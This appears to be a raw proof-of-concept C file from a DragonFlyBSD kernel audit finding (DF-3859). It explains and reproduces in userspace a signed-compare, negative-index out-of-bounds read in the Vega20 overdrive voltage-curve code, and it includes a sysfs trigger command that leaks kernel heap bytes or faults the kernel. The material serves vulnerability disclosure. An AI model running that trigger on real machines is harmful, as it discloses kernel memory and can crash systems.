⬢ DragonFlyBSD Kernel Audit
DF-3859 / odn_negidx.c
← back to finding ↓ download raw
/*
 * DF-3859 PoC — negative-index OOB read in vega20_odn_edit_dpm_table()
 * PP_OD_EDIT_VDDC_CURVE branch
 * (sys/dev/drm/amd/powerplay/hwmgr/vega20_hwmgr.c:2656-2720),
 * the DF-3704 (vega10 odn signed-compare) twin for Vega20.
 *
 *   int32_t input_index, ...;
 *   input_index = input[i];                       :2674   (long from kstrtol)
 *   if (input_index > 2) { ... return -EINVAL; }  :2678   <-- signed compare,
 *                                                          negatives pass!
 *   od8_id = OD8_SETTING_GFXCLK_FREQ1 + 2 * input_index;   :2685
 *   if (input_clk < od8_settings[od8_id].min_value ||       :2686-2687  OOB read
 *       input_clk > od8_settings[od8_id].max_value) {
 *       pr_info("clock freq %d is not within allowed range [%d - %d]\n",
 *               input_clk, od8_settings[od8_id].min_value,   <-- leaked kernel
 *               od8_settings[od8_id].max_value);             <-- heap bytes
 *       return -EINVAL;
 *   }
 *   od8_id = OD8_SETTING_GFXCLK_VOLTAGE1 + 2 * input_index; :2695 (again)
 *
 * od8_settings_array is vega20_od8_single_setting[OD8_SETTING_COUNT=16]
 * inside struct vega20_hwmgr (vega20_hwmgr.h:429). input_index = -1 gives the
 * in-bounds-but-wrong slot FMIN(0); input_index <= -2 gives od8_id < 0:
 * small negatives read adjacent vega20_hwmgr fields (odn_data etc.) and the
 * values are printed to the log via pr_info (kernel-heap disclosure);
 * large negatives (attacker-controlled magnitude, int32 from user token)
 * read gigabytes before the backend allocation -> kernel page fault.
 *
 * Trigger (root-gated sysfs, amdgpu_pm.c:1028 S_IWUSR pp_od_clk_voltage):
 *   echo "vc -2 1000 900" > /sys/class/drm/card0/device/pp_od_clk_voltage
 * (the amdgpu_pm.c parser kstrtol()s every token, so "-2" is accepted.)
 *
 * This replica reproduces the index arithmetic and the OOB read verbatim on
 * a heap-allocated stand-in: small negative index leaks adjacent-object
 * bytes into the "error range" print; a large negative index faults.
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>

enum OD8_SETTING_ID {
	OD8_SETTING_GFXCLK_FMIN = 0,
	OD8_SETTING_GFXCLK_FMAX,
	OD8_SETTING_GFXCLK_FREQ1,
	OD8_SETTING_GFXCLK_VOLTAGE1,
	OD8_SETTING_GFXCLK_FREQ2,
	OD8_SETTING_GFXCLK_VOLTAGE2,
	OD8_SETTING_GFXCLK_FREQ3,
	OD8_SETTING_GFXCLK_VOLTAGE3,
	OD8_SETTING_UCLK_FMAX,
	OD8_SETTING_POWER_PERCENTAGE,
	OD8_SETTING_FAN_ACOUSTIC_LIMIT,
	OD8_SETTING_FAN_MIN_SPEED,
	OD8_SETTING_FAN_TARGET_TEMP,
	OD8_SETTING_OPERATING_TEMP_MAX,
	OD8_SETTING_AC_TIMING,
	OD8_SETTING_FAN_ZERO_RPM_CONTROL,
	OD8_SETTING_COUNT
};

/* verbatim vega20_hwmgr.h:418-424 */
struct vega20_od8_single_setting {
	uint32_t feature_id;
	int32_t  min_value;
	int32_t  max_value;
	int32_t  current_value;
	int32_t  default_value;
};

struct od8_ctx {
	/* stand-in for the bytes of struct vega20_hwmgr that precede
	 * od8_settings (dpm_table, golden_dpm_table, registry_data,
	 * vbios_boot_state, mclk_latency_table, ... ) */
	uint8_t preceding_backend_bytes[512];
	struct vega20_od8_single_setting od8_settings_array[OD8_SETTING_COUNT];
};

/* verbatim check of vega20_hwmgr.c:2685-2693 */
static int check_freq_range(struct od8_ctx *ctx, int32_t input_index,
			    int32_t input_clk)
{
	int od8_id = OD8_SETTING_GFXCLK_FREQ1 + 2 * input_index;	/* :2685 */
	struct vega20_od8_single_setting *od8_settings = ctx->od8_settings_array;

	printf("  input_index=%d -> od8_id=%d (byte offset %+ld from array)\n",
	       input_index, od8_id,
	       (long)od8_id * (long)sizeof(struct vega20_od8_single_setting));
	fflush(stdout);

	if (input_clk < od8_settings[od8_id].min_value ||		/* :2686 */
	    input_clk > od8_settings[od8_id].max_value) {
		printf("  clock freq %d is not within allowed range [%d - %d]\n"
		       "  ^--- OOB-read kernel bytes printed to the log\n",
		       input_clk,
		       od8_settings[od8_id].min_value,			/* leak */
		       od8_settings[od8_id].max_value);			/* leak */
		return -EINVAL;
	}
	return 0;
}

int main(int argc, char **argv)
{
	int32_t idx = argc > 1 ? (int32_t)strtol(argv[1], NULL, 0) : -2;
	int32_t clk = argc > 2 ? (int32_t)strtol(argv[2], NULL, 0) : 1000;

	/* heap allocation so the negative index really leaves the object,
	 * exactly like the kzalloc'd vega20_hwmgr backend */
	struct od8_ctx *ctx = malloc(sizeof(*ctx));
	memset(ctx, 0xA5, sizeof(*ctx));	/* marker bytes = "adjacent heap" */
	for (int i = 0; i < OD8_SETTING_COUNT; i++) {
		ctx->od8_settings_array[i].min_value = 500;
		ctx->od8_settings_array[i].max_value = 2000;
	}

	/* first demonstrate the in-bounds control (input_index=1) */
	printf("control (vc 1 %d):\n", clk);
	check_freq_range(ctx, 1, clk);

	printf("attack (vc %d %d):\n", idx, clk);
	int r = check_freq_range(ctx, idx, clk);
	printf("returned %d\n", r);

	free(ctx);
	return 0;
}